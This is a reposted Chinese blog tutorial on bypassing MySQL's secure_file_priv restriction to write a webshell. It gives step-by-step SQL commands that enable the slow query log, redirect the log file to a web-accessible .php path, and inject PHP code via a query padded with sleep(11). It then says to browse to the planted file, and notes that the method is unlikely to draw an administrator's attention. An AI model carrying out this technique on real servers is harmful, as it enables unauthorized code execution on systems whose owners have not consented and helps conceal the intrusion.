zoukankan      html  css  js  c++  java
  • mysql之突破secure_file_priv写shell

    mysql之突破secure_file_priv写shell

    MySQL慢查询日志总结

    mysql日志详细解析

    总述:即当secure_file_priv为NULL的时候可以利用日志文件存储sql语句的特性来获得shell,此处用的是慢查询日志,当然别的日志应该也可以,写语句(xx or sleep(11))让其最终记录到慢查询日志中,修改慢查询日志文件位置即文件名(xx.php),然后访问此文件,就可以获得shell。

    5.6.34版本之后,secure_file_priv的值默认为null,并且无法用sql语句对其进行修改,只能通过打开配置文件的方式:

    windows下:

    修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

    保存,重启mysql。

    Linux下:

    在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。

    但是可以利用日志来getshell:

    mysql日志主要包括:错误日志,查询日志,慢查询日志,事务日志,日志的详细情况参考mysql日志详细解析

    通过慢查询日志来写shell,步骤分为3步:
    (使用慢查询日志原因,是因为这个日志一般用的少,但是这个日志默认是禁用的)

    日志分析工具mysqldumpslow,自行百度

    1.设置slow_query_log=1.即启用慢查询日志(默认禁用)

    set global slow_query_log=1;
    show global variables like '%slow_query_log%';	#查看慢查询日志是否开启及路径
    mysql> show variables like 'slow_query_log_file';#查看慢查询日志存储路径
    

    2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名

    set global slow_query_log_file="物理绝对路径"
    

    3.向日志文件写入shell

    执行:select '<?php phpinfo();?>' or sleep(11);
    然后url访问我们的马就可以了:127.0.0.1/shell.php
    

    慢日志解释说明:mysql默认语句执行时间超过指定时间,则此语句就会记入慢查询日志中,这个时间由long_query_time来控制(默认值为10秒),

    show global variables like "%long_query_time%" #查看服务器默认时间值
    

    通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉。

    来自:https://www.cnblogs.com/c1e4r/articles/8902444.html

  • 相关阅读:
    ros 编译指定包
    TCP_IP Sockets编程C语言实现第2版 源码下载
    python 文件,文件夹,路径操作
    python 导入包
    ImportError: No module named rospy
    python安装simplejson
    EditPlus 中添加 Win32 ASM 语法支持
    程序设计学习与试验系统下载
    masm for windows2015 下载安装
    dosbox+masm汇编环境的安装和使用
  • 原文地址:https://www.cnblogs.com/forforever/p/13452151.html
Copyright © 2011-2022 走看看